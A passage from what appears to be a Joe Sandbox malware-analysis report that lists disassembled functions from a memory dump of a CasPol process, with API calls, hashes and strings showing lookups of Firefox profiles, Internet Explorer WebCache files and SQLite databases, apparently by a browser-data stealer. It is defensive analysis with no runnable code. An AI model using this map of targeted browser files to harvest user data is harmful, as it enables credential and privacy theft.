                                                                                                                                                                                                    • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                                                                                                                                                                                                    • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                                                                                                                                                                                                    • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(00000000), ref: 0040A87B
                                                                                                                                                                                                    • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?), ref: 0040A884
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(?,00000000,00000000,00000000,?,0040BDCC,?,00000000,?), ref: 00404398
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(?,00000000,?,0040BDCC,?,00000000,?), ref: 004043AC
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(?,00000000,?,0040BDCC,?,00000000,?), ref: 004043BF
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(?,00000000,?,0040BDCC,?,00000000,?), ref: 004043D3
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(?,00000000,?,0040BDCC,?,00000000,?), ref: 004043E7
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: AddressProc$Library$Load$DirectoryFreeSystemmemsetwcscatwcscpy
                                                                                                                                                                                                  • String ID: advapi32.dll
                                                                                                                                                                                                  • API String ID: 2012295524-4050573280
                                                                                                                                                                                                  • Opcode ID: 4ec369c76c53d9d8d6299e0294e7621cc29ddf3fcf69dbd982a4794b684d00a1
                                                                                                                                                                                                  • Instruction ID: 6b6c0a27b71384d3bff991c3c7ca7c9b0301c8735f49a3ee57333cb8f9a5f734
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 4ec369c76c53d9d8d6299e0294e7621cc29ddf3fcf69dbd982a4794b684d00a1
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5F119470440700DDE6307F62EC0AF2777A4DF80714F104A3FE541565E1DBB8A8519AAD
                                                                                                                                                                                                  Function 00403BED Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 57COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • memset.MSVCRT ref: 00403C09
                                                                                                                                                                                                  • memset.MSVCRT ref: 00403C1E
                                                                                                                                                                                                    • Part of subcall function 00414C2E: SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                                                                                                                                                                                                    • Part of subcall function 00409719: wcslen.MSVCRT ref: 0040971A
                                                                                                                                                                                                    • Part of subcall function 00409719: wcscat.MSVCRT ref: 00409732
                                                                                                                                                                                                  • wcscat.MSVCRT ref: 00403C47
                                                                                                                                                                                                    • Part of subcall function 00414C2E: memset.MSVCRT ref: 00414C87
                                                                                                                                                                                                    • Part of subcall function 00414C2E: RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                                                                                                                                                                                                    • Part of subcall function 00414C2E: wcscpy.MSVCRT ref: 00414CFC
                                                                                                                                                                                                  • wcscat.MSVCRT ref: 00403C70
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: memsetwcscat$CloseFolderPathSpecialwcscpywcslen
                                                                                                                                                                                                  • String ID: Mozilla\Firefox\Profiles$Mozilla\Profiles
                                                                                                                                                                                                  • API String ID: 1534475566-1174173950
                                                                                                                                                                                                  • Opcode ID: 5af024c53119846c6cf23d5d39710aba0b9f01952ad673d04fbaa3fd9d46c714
                                                                                                                                                                                                  • Instruction ID: 5219a381a5be6f9fff484f4b9c8ff18b49dc44b18064e24db21ac924a7a96902
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 5af024c53119846c6cf23d5d39710aba0b9f01952ad673d04fbaa3fd9d46c714
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 4401A9B294032C76DB207B669C86ECF672C9F45358F01447FB504B7182D9785E844AA9
                                                                                                                                                                                                  Function 0040A804 Relevance: 9.0, APIs: 6, Instructions: 40libraryCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: LibraryLoad$DirectorySystemmemsetwcscatwcscpy
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 669240632-0
                                                                                                                                                                                                  • Opcode ID: 82c8cf326d92d3b179650df20de3df9a559229a48382c0fcbe0adb46b34a8860
                                                                                                                                                                                                  • Instruction ID: 21688b76284891f368be2c5f4feed5723597baa153f24eadc702144372ba9d0b
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 82c8cf326d92d3b179650df20de3df9a559229a48382c0fcbe0adb46b34a8860
                                                                                                                                                                                                  • Instruction Fuzzy Hash: A6F0A472D0022467DF207B65AC46B8A3B6CBF01754F008072F908B71D2EB789A55CFDA
                                                                                                                                                                                                  Function 00414C2E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 77registryCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 00414B81: GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathW,00414C40,?,00000000), ref: 00414BA4
                                                                                                                                                                                                  • SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                                                                                                                                                                                                  • memset.MSVCRT ref: 00414C87
                                                                                                                                                                                                  • RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                                                                                                                                                                                                  • wcscpy.MSVCRT ref: 00414CFC
                                                                                                                                                                                                    • Part of subcall function 00409CEA: GetVersionExW.KERNEL32(0045D340,0000001A,00414C4F,?,00000000), ref: 00409D04
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  • Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders, xrefs: 00414CA2, 00414CB2
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: AddressCloseFolderPathProcSpecialVersionmemsetwcscpy
                                                                                                                                                                                                  • String ID: Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
                                                                                                                                                                                                  • API String ID: 71295984-2036018995
                                                                                                                                                                                                  • Opcode ID: e6b24c1e526a7e6b175339e46d2c1329f14507f19ad0c7641bd2f64e2867ccb0
                                                                                                                                                                                                  • Instruction ID: cfba8ba70a3d5c5eb0df7add68d4968905301debfffe1ddd107e81ced3c7690c
                                                                                                                                                                                                  • Opcode Fuzzy Hash: e6b24c1e526a7e6b175339e46d2c1329f14507f19ad0c7641bd2f64e2867ccb0
                                                                                                                                                                                                  • Instruction Fuzzy Hash: EE110B31802224ABDB24A7999C4E9EF736CDBD1315F2200A7F80562151F6685EC5C6DE
                                                                                                                                                                                                  Function 0041443E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • wcschr.MSVCRT ref: 00414458
                                                                                                                                                                                                  • _snwprintf.MSVCRT ref: 0041447D
                                                                                                                                                                                                  • WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 0041449B
                                                                                                                                                                                                  • GetPrivateProfileStringW.KERNEL32(?,?,?,?,?,?), ref: 004144B3
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: PrivateProfileString$Write_snwprintfwcschr
                                                                                                                                                                                                  • String ID: "%s"
                                                                                                                                                                                                  • API String ID: 1343145685-3297466227
                                                                                                                                                                                                  • Opcode ID: 946b4c1fd7f9a1c82d4bd3564eada2d63785a77446bf9af388738d4a416c1506
                                                                                                                                                                                                  • Instruction ID: 05c1b6e2b8d8aed92df8b5d38884bf02313f678dea9e3ece4dcd1a0b753c0483
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 946b4c1fd7f9a1c82d4bd3564eada2d63785a77446bf9af388738d4a416c1506
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 7201AD3240421ABBEF219F81DC09FDB3F6AFF09305F14806ABA08501A1D339C5A5EB58
                                                                                                                                                                                                  Function 00413CA4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloadertimeCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetModuleHandleW.KERNEL32(kernel32.dll,?,00413EA2,?,?,?,?,?,00000000,?), ref: 00413CB5
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,GetProcessTimes,?,00413EA2,?,?,?,?,?,00000000,?), ref: 00413CCF
                                                                                                                                                                                                  • GetProcessTimes.KERNELBASE(00000000,?,?,?,?,?,00413EA2,?,?,?,?,?,00000000,?), ref: 00413CF2
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: AddressHandleModuleProcProcessTimes
                                                                                                                                                                                                  • String ID: GetProcessTimes$kernel32.dll
                                                                                                                                                                                                  • API String ID: 1714573020-3385500049
                                                                                                                                                                                                  • Opcode ID: 3d2a63fc8b7889f90c1cc675bbb66959c3424aca663c91e440c9d47c6094dacc
                                                                                                                                                                                                  • Instruction ID: 0a9fc9a7fb2a98cd878f934f387e3824ef844cc6c25aa3dbb33b58617c33e237
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 3d2a63fc8b7889f90c1cc675bbb66959c3424aca663c91e440c9d47c6094dacc
                                                                                                                                                                                                  • Instruction Fuzzy Hash: F5F03036204309AFEF008FA6FD06B963BA8BB04742F044066FA0CD1561D7B5D6B0EF99
                                                                                                                                                                                                  Function 004087B3 Relevance: 7.7, APIs: 6, Instructions: 190COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • memset.MSVCRT ref: 004087D6
                                                                                                                                                                                                    • Part of subcall function 0040A6E6: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,000003FF,000000FF,00000000,000003FF,00000000,00000000,0040B866,00445FAE,?,?,?,?,?,?), ref: 0040A6FF
                                                                                                                                                                                                    • Part of subcall function 004095D9: memset.MSVCRT ref: 004095FC
                                                                                                                                                                                                  • memset.MSVCRT ref: 00408828
                                                                                                                                                                                                  • memset.MSVCRT ref: 00408840
                                                                                                                                                                                                  • memset.MSVCRT ref: 00408858
                                                                                                                                                                                                  • memset.MSVCRT ref: 00408870
                                                                                                                                                                                                  • memset.MSVCRT ref: 00408888
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                                                                                                                                    • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: memset$wcslen$AttributesByteCharFileMultiWidewcscatwcscpy
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 2911713577-0
                                                                                                                                                                                                  • Opcode ID: 01acc2a10158501d086df2ecf85720ba35c535a6b148720ad12018c66e71fd5d
                                                                                                                                                                                                  • Instruction ID: a7e5ca25de4111a2a05fe91eb9e7b9268c7acadad77a1a504b595fc773a76dc1
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 01acc2a10158501d086df2ecf85720ba35c535a6b148720ad12018c66e71fd5d
                                                                                                                                                                                                  • Instruction Fuzzy Hash: BD5146B280011D7EEB50E751DC46EEF776CDF05318F0040BEB948B6182EA745F948BA9
                                                                                                                                                                                                  Function 0041F1A5 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 165COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: memcmp
                                                                                                                                                                                                  • String ID: @ $SQLite format 3
                                                                                                                                                                                                  • API String ID: 1475443563-3708268960
                                                                                                                                                                                                  • Opcode ID: 82854fe69cd6f085c01fb16587ca6c24c159481fbb1fdb23c3f30c43337b22d0
                                                                                                                                                                                                  • Instruction ID: a5e199d7c3355b23248e204991ed7883f9cb1cefd3641e4a8180bf992d12f390
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 82854fe69cd6f085c01fb16587ca6c24c159481fbb1fdb23c3f30c43337b22d0
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 9051C1719002199BDF10DFA9C4817DEB7F4AF44314F1541AAEC14EB246E778EA8ACB88
                                                                                                                                                                                                  Function 004110DC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 68COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: _wcsicmpqsort
                                                                                                                                                                                                  • String ID: /nosort$/sort
                                                                                                                                                                                                  • API String ID: 1579243037-1578091866
                                                                                                                                                                                                  • Opcode ID: 82532bcf7625f57df0476c9ea77f38d24af0b860564a5aebd85b14b7cf50dee8
                                                                                                                                                                                                  • Instruction ID: 59a4a6edbc2c6816dd96362f3638b70d105e8990563e463c72bda517b6347aa4
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 82532bcf7625f57df0476c9ea77f38d24af0b860564a5aebd85b14b7cf50dee8
                                                                                                                                                                                                  • Instruction Fuzzy Hash: C8213770700201AFD714FB36C880E96F3AAFF58314F11012EE61897692DB39BC918B4A
                                                                                                                                                                                                  Function 0040E5ED Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 61COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • memset.MSVCRT ref: 0040E60F
                                                                                                                                                                                                  • memset.MSVCRT ref: 0040E629
                                                                                                                                                                                                    • Part of subcall function 00414C2E: SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                                                                                                                                    • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                                                                                                                                    • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  • Microsoft\Windows\WebCache\WebCacheV01.dat, xrefs: 0040E647
                                                                                                                                                                                                  • Microsoft\Windows\WebCache\WebCacheV24.dat, xrefs: 0040E66F
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: memsetwcslen$AttributesFileFolderPathSpecialwcscatwcscpy
                                                                                                                                                                                                  • String ID: Microsoft\Windows\WebCache\WebCacheV01.dat$Microsoft\Windows\WebCache\WebCacheV24.dat
                                                                                                                                                                                                  • API String ID: 2887208581-2114579845
                                                                                                                                                                                                  • Opcode ID: 74f633d4b8b79b581db03fb52a9a183d925aa75474fb6f674f7548ec87be104c
                                                                                                                                                                                                  • Instruction ID: 2f29c334d396001d9fe1cebc89c879271eb53039ccc8e03d5a3365d75131e7c5
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 74f633d4b8b79b581db03fb52a9a183d925aa75474fb6f674f7548ec87be104c
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 66118AB3D4012C66EB10E755EC85FDB73ACAF14319F1408B7B904F11C2E6B89F984998
                                                                                                                                                                                                  Function 004148B6 Relevance: 6.1, APIs: 4, Instructions: 55COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • FindResourceW.KERNEL32(?,?,?), ref: 004148C3
                                                                                                                                                                                                  • SizeofResource.KERNEL32(?,00000000), ref: 004148D4
                                                                                                                                                                                                  • LoadResource.KERNEL32(?,00000000), ref: 004148E4
                                                                                                                                                                                                  • LockResource.KERNEL32(00000000), ref: 004148EF
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Resource$FindLoadLockSizeof
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3473537107-0
                                                                                                                                                                                                  • Opcode ID: 6eac18842e5c85fe8f5858b83388748d76eef83a8f56414f10f835c55d74c1c4
                                                                                                                                                                                                  • Instruction ID: 8a72e2f5d7590eb6bb033c3ed88c96ec9d5eb8bcd973c23d1c6560583cb0a60d
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 6eac18842e5c85fe8f5858b83388748d76eef83a8f56414f10f835c55d74c1c4
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0101D2727402156B8B294FB6DD4999BBFAEFFC6391308803AF809D6331DA31C851C688
                                                                                                                                                                                                  Function 0044DEF7 Relevance: 6.0, APIs: 4, Instructions: 25COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ??3@
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 613200358-0
                                                                                                                                                                                                  • Opcode ID: 51118905c2728d810469e0c59db0571482045495d4d228400e43909190034b47
                                                                                                                                                                                                  • Instruction ID: aa45652f999bbb0892b85dcd7393972dd4dfe4e89c7b59a5f1a68188070d07e1
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 51118905c2728d810469e0c59db0571482045495d4d228400e43909190034b47
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5EE08C60F0830052BA31EBBABD40E2723EC5E1AB4271A842FB905C3282CE2CC880C02D
                                                                                                                                                                                                  Function 0043A9F6 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 979COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  • only a single result allowed for a SELECT that is part of an expression, xrefs: 0043AAD3
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: memset
                                                                                                                                                                                                  • String ID: only a single result allowed for a SELECT that is part of an expression
                                                                                                                                                                                                  • API String ID: 2221118986-1725073988
                                                                                                                                                                                                  • Opcode ID: f2ccd9f22684a9d505166f2bd917588c88a2d89474e41d8808a21707a3bb0a12
                                                                                                                                                                                                  • Instruction ID: 0c5fbdb45af1b87466ede92b40025f4dfba1e1eb7e0419b48c64bc8603b8f36f
                                                                                                                                                                                                  • Opcode Fuzzy Hash: f2ccd9f22684a9d505166f2bd917588c88a2d89474e41d8808a21707a3bb0a12
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5D827A71608340AFD720DF15C881B1BBBE1FF88318F14491EFA9987262D779E954CB96
                                                                                                                                                                                                  Function 00414B81 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 13libraryloaderCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                                                                                                                                                                                                    • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(0045DE68,00000104,?,?,?), ref: 0040A841
                                                                                                                                                                                                    • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                                                                                                                                                                                                    • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                                                                                                                                                                                                    • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(00000000), ref: 0040A87B
                                                                                                                                                                                                    • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?), ref: 0040A884
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathW,00414C40,?,00000000), ref: 00414BA4
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: LibraryLoad$AddressDirectoryProcSystemmemsetwcscatwcscpy
                                                                                                                                                                                                  • String ID: SHGetSpecialFolderPathW$shell32.dll
                                                                                                                                                                                                  • API String ID: 2773794195-880857682
                                                                                                                                                                                                  • Opcode ID: 97e3436b7678629204c95b3b1f0e86467fe5b848d0a0c87f8b2ef990139e8914
                                                                                                                                                                                                  • Instruction ID: 520684b8054713cb13715c6c8af1848dbb459e29e8538d47b3508bbaa4bbc045
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 97e3436b7678629204c95b3b1f0e86467fe5b848d0a0c87f8b2ef990139e8914
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 23D0C7719483019DD7105F65AC19B8336545B50307F204077AC04E66D7EA7CC4C49E1D
                                                                                                                                                                                                  Function 0040D092 Relevance: 5.1, APIs: 4, Instructions: 51COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ??2@
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1033339047-0
                                                                                                                                                                                                  • Opcode ID: bb5a2cedd882201272bd117211a6380788fbbee7b2a1ea69d9384cb42441e8af
                                                                                                                                                                                                  • Instruction ID: 5f4fc1bc6a90e200713bb7744dd8ab6a017b0cf4e98027731d5581fdeff4b0c3
                                                                                                                                                                                                  • Opcode Fuzzy Hash: bb5a2cedd882201272bd117211a6380788fbbee7b2a1ea69d9384cb42441e8af
                                                                                                                                                                                                  • Instruction Fuzzy Hash: B00121B2A413005EEB7ADF38EE5772966A0AF4C351F01453EA246CD1F6EEF58480CB49
                                                                                                                                                                                                  Function 00444B06 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 108COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000,00000065,?), ref: 004449E7
                                                                                                                                                                                                    • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 004449F8
                                                                                                                                                                                                    • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A09
                                                                                                                                                                                                    • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A1A
                                                                                                                                                                                                    • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A2B
                                                                                                                                                                                                    • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A3C
                                                                                                                                                                                                    • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A4D
                                                                                                                                                                                                  • memcmp.MSVCRT ref: 00444BA5
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: AddressProc$memcmp
                                                                                                                                                                                                  • String ID: $$8
                                                                                                                                                                                                  • API String ID: 2808797137-435121686
                                                                                                                                                                                                  • Opcode ID: e80885fdbb6a557c0c44277052daa68a3f3074bd67b4db13da85d3ecc8de475b
                                                                                                                                                                                                  • Instruction ID: 2c4e4273d6b09173b98ec99ba1a72f96ebc6587eba5c15334d9e54441f883a66
                                                                                                                                                                                                  • Opcode Fuzzy Hash: e80885fdbb6a557c0c44277052daa68a3f3074bd67b4db13da85d3ecc8de475b
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 04314171A00209ABEB10DFA6CDC1BAEB7B9FF88314F11055AE515A3241D778ED048B69
                                                                                                                                                                                                  Function 00405220 Relevance: 4.6, APIs: 3, Instructions: 88libraryloaderCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                                                                                                                                                                                                    • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(0045DE68,00000104,?,?,?), ref: 0040A841
                                                                                                                                                                                                    • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                                                                                                                                                                                                    • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
